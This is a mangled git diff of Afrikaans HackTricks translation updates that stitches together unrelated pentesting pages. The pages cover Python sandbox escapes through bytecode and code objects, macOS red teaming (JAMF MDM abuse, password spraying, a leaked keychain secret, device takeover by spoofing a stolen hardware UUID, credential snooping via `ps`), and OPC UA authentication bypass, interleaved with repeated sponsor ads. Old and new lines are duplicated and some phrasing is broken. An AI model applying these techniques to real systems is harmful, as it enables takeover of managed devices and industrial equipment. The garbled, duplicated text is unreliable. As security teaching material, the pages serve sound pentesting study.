In sommige CTFs kan jy voorsien word van die naam van 'n **aangepaste funksie waar die vlag** geleë is en jy moet die **binnekant** van die **funksie** ondersoek om dit te onttrek.
|
In sommige CTFs kan jy die naam van 'n **aangepaste funksie waar die vlag** geleë is, ontvang en jy moet die **binnekant** van die **funksie** ondersoek om dit te onttrek.
|
||||||
|
|
||||||
Dit is die funksie om te ondersoek:
|
Dit is die funksie om te ondersoek:
|
||||||
```python
|
```python
|
||||||
|
@ -922,7 +922,7 @@ dis.dis(get_flag)
|
||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit **ontleed** dit plaaslik. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
|
Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit plaaslik **ontleed**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
|
@ -993,7 +993,7 @@ types.CodeType.__doc__
|
||||||
### Herstel van 'n gelekte funksie
|
### Herstel van 'n gelekte funksie
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy nodig sal hê om te lek**.
|
In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy sal moet lek**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
fc = get_flag.__code__
|
fc = get_flag.__code__
|
||||||
|
@ -1010,7 +1010,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
In vorige voorbeelde aan die begin van hierdie pos, kan jy **hoe om enige python kode uit te voer met die `compile` funksie** sien. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan **uitvoer** (en ons kan dieselfde doen met **`exec`**).\
|
In vorige voorbeelde aan die begin van hierdie pos, kan jy **hoe om enige python kode uit te voer met die `compile` funksie** sien. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan **uitvoer** (en ons kan dieselfde doen met **`exec`**).\
|
||||||
In elk geval, soms kan dit nuttig wees om 'n **gecompileerde objek** op 'n plaaslike masjien te **skep** en dit in die **CTF masjien** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
|
In elk geval, soms kan dit nuttig wees om 'n **gecompileerde objek** op 'n plaaslike masjien te **skep** en dit in die **CTF masjien** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
|
||||||
|
|
||||||
Byvoorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees:
|
Vir voorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees:
|
||||||
```python
|
```python
|
||||||
#Locally
|
#Locally
|
||||||
def read():
|
def read():
|
||||||
|
@ -1047,7 +1047,7 @@ f(42)
|
||||||
```
|
```
|
||||||
## Decompiling Compiled Python
|
## Decompiling Compiled Python
|
||||||
|
|
||||||
Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens **decompile** gegewe gecompileerde python kode.
|
Met behulp van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens gegewe gecompileerde python kode **decompile**.
|
||||||
|
|
||||||
**Kyk na hierdie tutoriaal**:
|
**Kyk na hierdie tutoriaal**:
|
||||||
|
|
||||||
|
@ -1059,7 +1059,7 @@ Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://ww
|
||||||
|
|
||||||
### Assert
|
### Assert
|
||||||
|
|
||||||
Python wat met optimalisering uitgevoer word met die param `-O` sal assert verklarings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\
|
Python wat met optimalisering uitgevoer word met die parameter `-O` sal assert stellings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\
|
||||||
Daarom, kontroles soos
|
Daarom, kontroles soos
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
|
@ -1082,9 +1082,9 @@ will be bypassed
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -1098,7 +1098,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -17,20 +17,20 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploitte om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploitte om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Misbruik van MDMs
|
## Misbruik van MDM's
|
||||||
|
|
||||||
* JAMF Pro: `jamf checkJSSConnection`
|
* JAMF Pro: `jamf checkJSSConnection`
|
||||||
* Kandji
|
* Kandji
|
||||||
|
|
||||||
As jy daarin slaag om **administrateur akrediteer te kompromitteer** om toegang tot die bestuursplatform te verkry, kan jy **potensieel al die rekenaars kompromitteer** deur jou malware in die masjiene te versprei.
|
As jy daarin slaag om **administrateur akrediteer te kompromitteer** om toegang tot die bestuursplatform te verkry, kan jy **potensieel al die rekenaars kompromitteer** deur jou malware in die masjiene te versprei.
|
||||||
|
|
||||||
Vir red teaming in MacOS omgewings is dit hoogs aanbeveel om 'n bietjie begrip te hê van hoe die MDMs werk:
|
Vir red teaming in MacOS omgewings is dit hoogs aanbeveel om 'n bietjie begrip te hê van hoe die MDM's werk:
|
||||||
|
|
||||||
{% content-ref url="macos-mdm/" %}
|
{% content-ref url="macos-mdm/" %}
|
||||||
[macos-mdm](macos-mdm/)
|
[macos-mdm](macos-mdm/)
|
||||||
|
@ -54,7 +54,7 @@ JAMF kan **pasgemaakte skripte** (skripte wat deur die sysadmin ontwikkel is), *
|
||||||
|
|
||||||
#### JAMF self-registrasie
|
#### JAMF self-registrasie
|
||||||
|
|
||||||
Gaan na 'n bladsy soos `https://<company-name>.jamfcloud.com/enroll/` om te sien of hulle **self-registrasie geaktiveer** het. As hulle dit het, kan dit **om akrediteer vra**.
|
Gaan na 'n bladsy soos `https://<company-name>.jamfcloud.com/enroll/` om te sien of hulle **self-registrasie geaktiveer** het. As hulle dit het, mag dit **om akrediteer vra**.
|
||||||
|
|
||||||
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoord spuit aanval uit te voer.
|
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoord spuit aanval uit te voer.
|
||||||
|
|
||||||
|
@ -69,12 +69,10 @@ Boonop, nadat jy die regte akrediteer gevind het, kan jy in staat wees om ander
|
||||||
Die **`jamf`** binêre het die geheim bevat om die sleutelring te open wat op die tyd van die ontdekking **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
|
Die **`jamf`** binêre het die geheim bevat om die sleutelring te open wat op die tyd van die ontdekking **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
|
||||||
Boonop, jamf **bly** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
Boonop, jamf **bly** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||||
|
|
||||||
#### JAMF Toestel Oorname
|
#### JAMF Toestel Oorneming
|
||||||
|
|
||||||
Die **JSS** (Jamf Software Server) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
Die **JSS** (Jamf Software Server) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||||
Hierdie lêer bevat basies die URL:
|
Hierdie lêer bevat basies die URL:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||||
|
|
||||||
|
@ -115,7 +113,7 @@ Met hierdie inligting, **skep 'n VM** met die **gestole** Hardeware **UUID** en
|
||||||
|
|
||||||
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins mag wil uitvoer via Jamf, aangesien hulle **hier geplaas, uitgevoer en verwyder** word. Hierdie skripte **kan akrediteer** bevat.
|
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins mag wil uitvoer via Jamf, aangesien hulle **hier geplaas, uitgevoer en verwyder** word. Hierdie skripte **kan akrediteer** bevat.
|
||||||
|
|
||||||
Echter, **akrediteer** kan deur hierdie skripte as **parameters** oorgedra word, so jy sal `ps aux | grep -i jamf` moet monitor (sonder om root te wees).
|
E however, **akrediteer** mag deur hierdie skripte as **parameters** oorgedra word, so jy sal `ps aux | grep -i jamf` moet monitor (sonder om eers root te wees).
|
||||||
|
|
||||||
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
|
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
|
||||||
|
|
||||||
|
@ -143,15 +141,15 @@ In sommige gevalle sal jy vind dat die **MacOS rekenaar aan 'n AD** gekoppel is.
|
||||||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
'n **lokale MacOS hulpmiddel** wat jou ook kan help is `dscl`:
|
Sommige **lokale MacOS hulpmiddel** wat jou ook kan help is `dscl`:
|
||||||
```bash
|
```bash
|
||||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||||
```
|
```
|
||||||
Ook is daar 'n paar gereedskap voorberei vir MacOS om outomaties die AD te evalueer en met kerberos te speel:
|
Ook is daar 'n paar gereedskap voorberei vir MacOS om die AD outomaties te enumerate en met kerberos te speel:
|
||||||
|
|
||||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditgereedskap wat die versameling en opname van Active Directory verhoudings op MacOS gasheer toestelle moontlik maak.
|
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditgereedskap wat die versameling en opname van Active Directory verhoudings op MacOS gasheer toestelle moontlik maak.
|
||||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om met die Heimdal krb5 APIs op macOS te kommunikeer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS toestelle moontlik te maak deur gebruik te maak van inheemse APIs sonder om enige ander raamwerk of pakkette op die teiken te vereis.
|
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om met die Heimdal krb5 APIs op macOS te kommunikeer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS toestelle moontlik te maak deur gebruik te maak van inheemse APIs sonder om enige ander raamwerk of pakkette op die teiken te vereis.
|
||||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) gereedskap om Active Directory evaluering te doen.
|
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) gereedskap om Active Directory enumerasie te doen.
|
||||||
|
|
||||||
### Domein Inligting
|
### Domein Inligting
|
||||||
```bash
|
```bash
|
||||||
|
@ -229,7 +227,7 @@ mount -t smbfs //server/folder /local/mount/point
|
||||||
```
|
```
|
||||||
## Toegang tot die Sleutelkettie
|
## Toegang tot die Sleutelkettie
|
||||||
|
|
||||||
Die Sleutelkettie bevat hoogs waarskynlik sensitiewe inligting wat, indien toegang verkry word sonder om 'n prompt te genereer, kan help om 'n rooi span oefening vorentoe te beweeg:
|
Die Sleutelkettie bevat hoogs waarskynlik sensitiewe inligting wat, indien dit sonder 'n prompt verkry word, kan help om 'n rooi span oefening vorentoe te beweeg:
|
||||||
|
|
||||||
{% content-ref url="macos-keychain.md" %}
|
{% content-ref url="macos-keychain.md" %}
|
||||||
[macos-keychain.md](macos-keychain.md)
|
[macos-keychain.md](macos-keychain.md)
|
||||||
|
@ -237,7 +235,7 @@ Die Sleutelkettie bevat hoogs waarskynlik sensitiewe inligting wat, indien toega
|
||||||
|
|
||||||
## Eksterne Dienste
|
## Eksterne Dienste
|
||||||
|
|
||||||
MacOS Rooi Spanwerk is anders as 'n gewone Windows Rooi Spanwerk aangesien **MacOS gewoonlik direk met verskeie eksterne platforms geïntegreer is**. 'n Algemene konfigurasie van MacOS is om toegang tot die rekenaar te verkry met **OneLogin gesinkroniseerde akrediteer, en toegang tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
|
MacOS Rooi Span werk verskillend van 'n gewone Windows Rooi Span, aangesien **MacOS gewoonlik direk met verskeie eksterne platforms geïntegreer is**. 'n Algemene konfigurasie van MacOS is om toegang tot die rekenaar te verkry met **OneLogin gesinkroniseerde akrediteer, en toegang tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
|
||||||
|
|
||||||
## Verskeie Rooi Span tegnieke
|
## Verskeie Rooi Span tegnieke
|
||||||
|
|
||||||
|
@ -257,9 +255,9 @@ Wanneer 'n lêer in Safari afgelaai word, as dit 'n "veilige" lêer is, sal dit
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, uitbuitbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik outomatiese uitbuitings om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -271,9 +269,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -36,13 +36,13 @@ PORT STATE SERVICE REASON
|
||||||
```
|
```
|
||||||
## Pentesting OPC UA
|
## Pentesting OPC UA
|
||||||
|
|
||||||
Om sekuriteitskwessies in OPC UA-bedieners te onthul, skandeer dit met [OpalOPC](https://opalopc.com/).
|
Om sekuriteitsprobleme in OPC UA bedieners te onthul, skandeer dit met [OpalOPC](https://opalopc.com/).
|
||||||
```bash
|
```bash
|
||||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
```
|
```
|
||||||
### Exploiting vulnerabilities
|
### Exploiting vulnerabilities
|
||||||
|
|
||||||
As daar outentikasie-omseil kwesbaarhede gevind word, kan jy 'n [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) ooreenkomstig konfigureer en kyk wat jy kan toegang. Dit kan alles toelaat, van bloot die lees van proseswaardes tot werklik die bedryf van swaar industriële toerusting.
|
As daar outentikasie omseil kwesbaarhede gevind word, kan jy 'n [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) ooreenkomstig konfigureer en kyk wat jy kan toegang. Dit mag alles toelaat, van bloot die lees van proseswaardes tot werklik die bedryf van swaar industriële toerusting.
|
||||||
|
|
||||||
Om 'n idee te kry van die toestel waartoe jy toegang het, lees die "ServerStatus" node waardes in die adresruimte en google vir 'n gebruiksmanual.
|
Om 'n idee te kry van die toestel waartoe jy toegang het, lees die "ServerStatus" node waardes in die adresruimte en google vir 'n gebruiksmanual.
|
||||||
|
|
||||||
|
@ -56,7 +56,7 @@ Om 'n idee te kry van die toestel waartoe jy toegang het, lees die "ServerStatus
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||||
|
|
||||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
@ -36,9 +36,9 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
